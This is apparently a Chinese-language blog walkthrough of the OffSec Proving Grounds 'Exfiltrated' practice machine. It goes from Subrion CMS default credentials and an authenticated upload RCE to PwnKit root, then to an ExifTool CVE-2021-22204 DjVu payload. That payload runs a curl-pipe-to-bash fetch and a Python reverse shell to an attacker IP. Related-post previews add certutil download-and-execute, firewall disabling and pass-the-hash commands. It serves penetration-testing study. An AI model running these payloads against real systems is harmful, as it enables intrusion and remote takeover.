Proving Grounds Practice : Exfiltrated Walkthrough

-

 Proving Grounds Practice : Exfiltrated Walkthrough


Foothole (立足點 ) :

  • 80 發現 CMS 套件 Subrion
  • 標準利用 PoC 49876 直接拿到 Shell

PE ( 提權 ) :

  • PwnKit 直接成功

注意事項 :

  • Subrion CMS PoC 學習，網址要注意加上最後的 /
  • 要另外學習 ExifTool 指令利用


Rustscan，└─$ rustscan -a 192.168.181.163 --scripts none  --ulimit 5000 | tee rustscan

22、80 兩個 Port 而已



snmp closed



nmap，└─$ sudo nmap -sCV -A -p 22,80 192.168.181.163 | tee nmap



whatweb，└─$ whatweb http://192.168.181.163 | tee whatweb

hosts 看來要先寫死



再跑一次，Title[Home :: Powered by Subrion 4.2]



80 /



看來是個 CMS，名稱是 Subrion



Subrion 管理者登入的頁面是 /panel，使用 admin:admin 登入嘗試成功

Version 4.2.1




參考這個 https://www.exploit-db.com/exploits/49876

版本 4.2.1 符合，第一行就寫驗證後可以 RCE 看來就是了

# Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)




執行後顯示驗證失敗，└─$ python3 49876.py -u http://exfiltrated.offsec/panel -l admin -p admin

但這個帳號密碼可以成功登入沒有問題，怎麼會顯示驗證失敗



後來發現網址最後面要加上 /



加上斜線後再跑一次試試看，└─$ python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin，這一次成功透過 PoC 拿到 Shell 了



cat /etc/passwd

發現帳號 coaran



su 切換使用者 coaran 失敗



Linpeas 下去 看到一個熟悉的 CVE-2021-4034 PwnKit



PwnKit 下去後成功 Root



補充說明 :

cat /etc/crontab，發現一個特殊的 Job

* *     * * *   root    bash /opt/image-exif.sh


看一下內容 cat /opt/image-exif.sh

重點是這幾行指令

 - IMAGES='/var/www/html/subrion/uploads' : 指定 IMAGES 的路徑

 - ls $IMAGES | grep "jpg" | while read filename; : 查看副檔名 *.jpg 的檔案

 - exiftool "$IMAGES/$filename" >> $LOGFILE : 執行 exiftool 指令




這裡要利用到的是 exiftool 這個指令，Google 搜尋都是 CVE-2021-22204



最主要的執行內容可以查看這一篇 : 

https://ine.com/blog/exiftool-command-injection-cve-2021-22204

告訴我們要使用 Djvu 的檔案格式利用




作法如下，利用資料庫文件 Djvu 檔案格式執行 RCE

此漏洞利用 djvumake，我們可以將其與 djvulibre-bin 軟體包一起安裝。

先安裝套件，└─$ sudo apt-get update && sudo apt-get install -y djvulibre-bin



使用 which 接指令確認安裝成功，直接打指令顯示綠色也表示安裝成功

└─$ which djvumake



接著來建立 payload 取名為 exploit，payload 的寫法有提供範例如下，id 就是要執行的指令




我們將 payload 改成執行透過 HTTP 來抓一個執行檔然後執行，這裡我們採用 shell.sh
內容 : (metadata "\c${system ('curl http://192.168.45.202/shell.sh | bash')};")




告知我們要使用 djvumake 的指令將檔案包裝

範例 : djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz



所以將剛剛安裝的套件 djvumake 來將 exploit 包裝成 djvu 檔案格式

djvumake 指令包裝用法└─$ djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit



將 exploit.djvu 重新命名為 *.jpg 副檔名，然後 file 看一下確認是 image 檔案格式

改成 *.jpg 格式是因為靶機上的 sh 執行會確認檔案的副檔名

└─$ mv exploit.djvu exploit.jpg


接著要來建立剛剛指定的 shell.sh，內容直接使用 pythone3 建立 Reverse Shell，這個檔案是等等靶機執行 payload 後會透過 HTTP GET 來抓取與執行的檔案

#!/bin/bash


python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.202",4446));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'




將檔案上傳到該 image-exif.sh 指定的的 uploads 路徑




依據 PoC 的內容這樣就可以了，但是一直沒有發現有來抓取 shell.sh

發現是 curl 的路徑給錯，將 shell.sh 重新放置後成功看到 HTTP 200 GET



4446 Reverse Shell 進來了，whoami & id 看一下確認是管理者




留言

張貼留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

-
圖片
Challenge 0 - Secura(2) 下一步就是先想辦法進入第二台 .96 Rustscan 看一下，看來這一台的梗在 3306 MySQL 上 測試了一下遠端 IP 被阻擋進入 MySQL 從已經打入的第一台 .95(SECURE) 搭建 chisel 去登入 .96 的 MySQL 看來也不行 先在第一台 .95 建立一個使用者 aries 與密碼 Oscp#1234 net user aries Oscp#1234 /add 加入到本機的 administrators 群組 net localgroup administrators aries /add 開啟 RDP reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 關掉 firewall netsh advfirewall set allprofiles state off RDP 進去開始枚舉，└─$ xfreerdp -v:192.168.204.95 -u:aries -p:'Oscp#1234' +clipboard -cert:ignore -drive:aries,/home/kali/lab0/95 網域簡名 SECURA 網域全名 secura.yzx 這一台有跑 PostgreSQL DB 跑在本機的 127.0.0.1 15432 Port 查找 *.kdbx & *.zip 發現 PostgreSQL 帳號密碼 postgres:appmanager 測試帳號密碼有效 甚麼都不能執行也找不到有用的資訊 暫時沒有方向，回到 .97 先枚舉使用者看看 ./kerbrute_linux_amd64 userenum --dc 192.168.204.97 -d secura.yzx -o kerbrute-user-enum xato-net-10-million-usernames.txt 獲得使用者帳號 michael、charlotte、secure、administrator、era 這幾個使用者都沒有 ASREP ./GetNPUsers....
閱讀完整內容

Challenge 0 - Secura(1)

-
圖片
 Challenge 0 - Secura(1) Offsec 在九月底的時候 LAB 推出了 Challenge 0，會取名 0 應該是相對簡單的，打打看吧 環境說明共三台機器，簡單掃了一下  - 95 : Web Server 感覺像是進入點  - 96 : DB 伺服器  - 97 : DC 95 8443 Port 打開是 AppManager14 版本是 14710 使用預設帳號密碼 admin:admin 可以直接登入 跑了一下 Metasploit 與 Exploit 針對 14700 的漏洞利用看來都沒有成功 5001 / 參考 Pentest Everything :  https://viperone.gitbook.io/pentest-everything/writeups/pg-practice/windows/metallus 自己建立一個 payload，└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.179 LPORT=443 -b '\x00\x01\x0d' -f exe -o revershell.exe 接著在 Admin --> Upload Files / Binaries 頁面選擇 [ Upload Script to <Product_Home>/working ] 設定執行的檔案為 cmd.bat 建立一個 cmd.bat，內容如下 certutil.exe -f -urlcache -split http://192.168.45.179/lab0/95/revershell.exe c:\windows\temp\revershell.exe && cmd.exe /c c:\windows\temp\revershell.exe 上傳 cmd.bat 執行該 Script，成功拿到 Rever Shell whoami 看一下，進來就是 nt authority\system 直接拿 flag 跑一下 mimikatz.exe administrator NTLM HASH a51493b0b06e5e35f855245e71af1d14 測試看看 e...
閱讀完整內容

Challenge 8 - Poseidon(1)

-
圖片
 Challenge 8 - Poseidon(1) 檢視 jackie 的權限，whoami /priv 發現有 SeBackupPrivilege 導出 sam & system reg save hklm\sam c:\users\jackie\Documents\sam reg save hklm\system c:\users\jackie\Documents\system └─$ impacket-secretsdump -sam ./sam -system ./system LOCAL Administrator:500:aad3b435b51404eeaad3b435b51404ee:8fea81a19d172de0c445c8072b9a1697:::  使用 impacket-psexec，└─$ impacket-psexec -hashes :8fea81a19d172de0c445c8072b9a1697 administrator@192.168.163.162 evil-winrm，└─$ evil-winrm -i 192.168.163.162 -u Administrator -H 8fea81a19d172de0c445c8072b9a1697 都無法登入 看來要改 COPY ntds.dit 檔案，使用 robocopy 進行複製出現執行中無法複製 參考這一篇 :  https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/ 編輯一個 raj.dsh 檔案如下 set context persistent nowriters add volume c: alias raj create expose %raj% z: 編輯完畢後使用 unix2dos 進行轉換，└─$ unix2dos raj.dsh  建立一個 c:\Temp 資料夾，上傳 raj.dsh 檔案然後執行 diskshadow /s raj.dsh 再複製一次 ntds.dit，使用指令  robocopy /b z:\windows\ntds . ntds. dit 成功複製出來了 依樣抓回 ka...
閱讀完整內容